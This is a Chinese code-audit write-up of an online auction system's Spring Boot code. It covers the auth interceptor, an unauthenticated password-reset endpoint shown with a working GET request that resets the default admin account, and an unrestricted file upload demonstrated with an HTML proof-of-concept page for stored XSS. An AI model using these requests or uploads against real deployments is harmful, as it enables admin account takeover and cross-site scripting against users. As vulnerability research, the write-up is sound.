0day | 某在线拍卖系统代码审计

华盟原创文章投稿奖励计划

1

环境搭建

先创建一个mysql数据库名为:springbootp0eo6


然后用source命令导入数据库文件

source xxx.sql

自动草稿


然后修改mysql数据库密码为自己的密码


自动草稿


然后直接启动系统即可


也可以把这个context-path字段删掉,方便我们后续访问的url简单一点(后端改了前端也要改,前端是https.js和config.js)


自动草稿


2

架构分析

filter与interpreter


一般spring的过滤器和拦截器都放在config里面的,我们可以先看看config


自动草稿


首先这边创建了一个方法getAuthorizationInterceptor,他会返回一个名为”鉴权拦截器“的类


当 Spring Boot 应用启动时,会自动扫描并加载标有 @Configuration 的配置类。对于继承了 WebMvcConfigurationSupport 的配置类,Spring 会在初始化 MVC 组件(如 DispatcherServlet)的过程中,主动调用其所有重写的配置方法,包括 addInterceptors()


下面的则是重写了两个方法,重写的第一个方法addInterceptors先是把AuthorizationInterceptor这个拦截器注入到拦截器列表中,然后设置了拦截器的规则,就是除了/static/**目录下的其他目录全部都要经过拦截器


第二个方法是添加静态资源文件路径的方法addResourceHandlers,第一个addResourceHandler("/**")表示客户端所有的请求都可以访问静态资源,而静态资源的路径如下。


鉴权


现在我们跟到他的鉴权拦截器中去看看AuthorizationInterceptor


我们这边只看他的重要的部分

IgnoreAuth annotation;if (handler instanceof HandlerMethod) {    annotation = ((HandlerMethod) handler).getMethodAnnotation(IgnoreAuth.class);} else {    return true;  // 非控制器方法(如静态资源)直接放行}// 有@IgnoreAuth注解的方法直接放过(不需要验证Token)if(annotation!=null) {    return true;}

后面我们看控制器的时候,如果有@IgnoreAuth注解,那就是不需要鉴权的接口,可以尝试未授权访问。

// 从请求头中获取TokenString token = request.getHeader(LOGIN_TOKEN_KEY);// 验证Token有效性TokenEntity tokenEntity = null;if(StringUtils.isNotBlank(token)) {    tokenEntity = tokenService.getTokenEntity(token);  // 调用服务查询Token是否存在且有效}// Token有效:将用户信息存入Session,放行请求if(tokenEntity != null) {    request.getSession().setAttribute("userId", tokenEntity.getUserid());    request.getSession().setAttribute("role", tokenEntity.getRole());    request.getSession().setAttribute("tableName", tokenEntity.getTablename());    request.getSession().setAttribute("username", tokenEntity.getUsername());    return true;}

这边就是验证token的有效性,用的tokenService.getTokenEntity方法,我们跟进去看看


自动草稿


下面就是验证token的方法,上面是生成token的方法,可以看到他的token实际上就是生成了一个32位的随机字符串,然后存在数据库里面去了。检验token的办法也很简单,直接从数据库中读取token


这里可以看看他的读取逻辑是怎么样的,


他是直接用的this.selectOne,也就是mybatis自带的查询,相当于where token =就没有注入的风险。


现在我们知道他的鉴权逻辑了,就是看你头里面的token在不在数据库中,如果在,就通过token读取数据库对应的id,赋予给session然后存到服务端。只有设置了不鉴权的接口,才能未授权访问。


未授权逻辑


刚才说了存在@IgnoreAuth注释的接口都是未授权的,抛去一些没有的信息的接口。这边看到了一个好玩的接口


自动草稿


密码重置的接口他甚至都是弄成不用鉴权的接口。Spring MVC 会按参数名自动绑定同名的请求参数到方法入参


而且这边没有加@RequestBody注解,用的是GET传参的方法。


而数据库中有一个默认的管理员用户


自动草稿


我们去重置一下

http://localhost:8080/users/resetPass?username=abo

自动草稿


可以看到数据库中的账号密码已经被改掉了


自动草稿


3

漏洞审计

文件上传漏洞


通过搜索关键词getOriginalFilename


发现文件上传漏洞位于

springbootp0eo6\src\main\java\com\controller\FileController.java:upload

自动草稿


可以看到他就是存到固定目录下面,然后修改了文件的名字,前面加了一个时间戳,如果可以上传jsp更好,但是可惜这个系统不支持jsp的解析,这边我们直接上传一个html的xss就好了


payload如下

<!DOCTYPE html><html lang="zh-CN"><head>  <meta charset="UTF-8" />  <title>上传弹窗示例</title>  <style>    body { font-family: Arial, sans-serif; margin0; }    .mask {      position: fixed; inset: 0backgroundrgba(0,0,0,.35);      display: flex; align-items: center; justify-content: center;    }    .modal {      width420pxmax-width92vwbackground#fffborder-radius10px;      box-shadow0 10px 30px rgba(0,0,0,.25); padding18px 20px;      animation: pop .18s ease-out;    }    @keyframes pop { from { transformscale(.96); opacity:.6; } to { transformscale(1); opacity:1; } }    .header { display: flex; align-items: center; justify-content: space-between; }    .header h3 { margin0font-size18px; }    .close { border0background: transparent; font-size20pxcursor: pointer; }    .row { margin12px 0display: flex; align-items: center; gap8px; }    .row label { width90pxcolor#555; }    .row input.row select { flex1height32pxpadding0 8px; }    .row input[type="file"] { padding4pxheight: auto; }    .actions { display: flex; justify-content: flex-end; gap10pxmargin-top6px; }    button { height34pxpadding0 14pxcursor: pointer; }    .primary { background#13AF69color#fffborder0border-radius6px; }    .ghost { background#fffcolor#333border1px solid #dddborder-radius6px; }    #msg { margin-top10pxfont-size13pxcolor#333white-space: pre-wrap; }  </style></head><body>  <div class="mask" id="mask" aria-modal="true" role="dialog">    <div class="modal">      <div class="header">        <h3>上传弹窗(HTML 文件)</h3>        <button class="close" id="btnClose" title="关闭">×</button>      </div>      <div class="row">        <label>后端地址</label>        <input id="baseUrl" value="http://localhost:8080/" />      </div>      <div class="row">        <label>接口路径</label>        <input id="apiPath" value="file/upload" />      </div>      <div class="row">        <label>Token</label>        <input id="token" placeholder="可留空;登录后localStorage的 Token" />      </div>      <div class="row">        <label>type 参数</label>        <select id="type">          <option value="0">0(不写faceFile)</option>          <option value="1">1(写/更新faceFile)</option>        </select>      </div>      <div class="row">        <label>选择文件</label>        <input id="file" type="file" accept=".html,.htm" />      </div>      <div class="actions">        <button class="ghost" id="btnCancel">取消</button>        <button class="primary" id="btnUpload">上传</button>      </div>      <div id="msg"></div>    </div>  </div>  <script>    const mask = document.getElementById('mask');    const btnClose = document.getElementById('btnClose');    const btnCancel = document.getElementById('btnCancel');    const btnUpload = document.getElementById('btnUpload');    const fileInput = document.getElementById('file');    const baseUrlInput = document.getElementById('baseUrl');    const apiPathInput = document.getElementById('apiPath');    const tokenInput = document.getElementById('token');    const typeInput = document.getElementById('type');    const msg = document.getElementById('msg');    const hide = () => { mask.style.display = 'none'; };    btnClose.onclick = hide;    btnCancel.onclick = hide;    btnUpload.onclick = async () => {      msg.textContent = '';      if (!fileInput.files || fileInput.files.length === 0) {        msg.textContent = '请先选择要上传的 HTML 文件。';        return;      }      const base = (baseUrlInput.value || 'http://localhost:8080/').replace(/\/+$/'') + '/';      const path = apiPathInput.value.replace(/^\/+/'');      const url = base + path;      const formData = new FormData();      formData.append('file', fileInput.files[0], fileInput.files[0].name);      formData.append('type', typeInput.value);      try {        const headers = {};        const token = tokenInput.value.trim();        if (token) headers['Token'] = token;        const res = await fetch(url, { method'POST', headers, body: formData });        const data = await res.json().catch(() => ({}));        if (res.ok && data && data.code === 0) {          const saved = data.file || (data.data && data.data.file) || '(未知文件名)';          msg.textContent = '上传成功,保存文件名: ' + saved + '\n文件可在 resources/static/upload/ 下查看(被后端托管)。';        } else {          msg.textContent = '上传失败: ' + (data.msg || (res.status + ' ' + res.statusText));        }      } catch (e) {        msg.textContent = '请求异常: ' + e.message;      }    };  </script></body></html>

自动草稿


然后上传成功(我就是上传的这个poc,懒得重新写了)看url,确实是解析了我们的htm,可以用来打xss


自动草稿


文章来源:李白你好

本文来源李白你好,经授权后由华盟君发布,观点不代表华盟网的立场,转载请联系原作者。

发表回复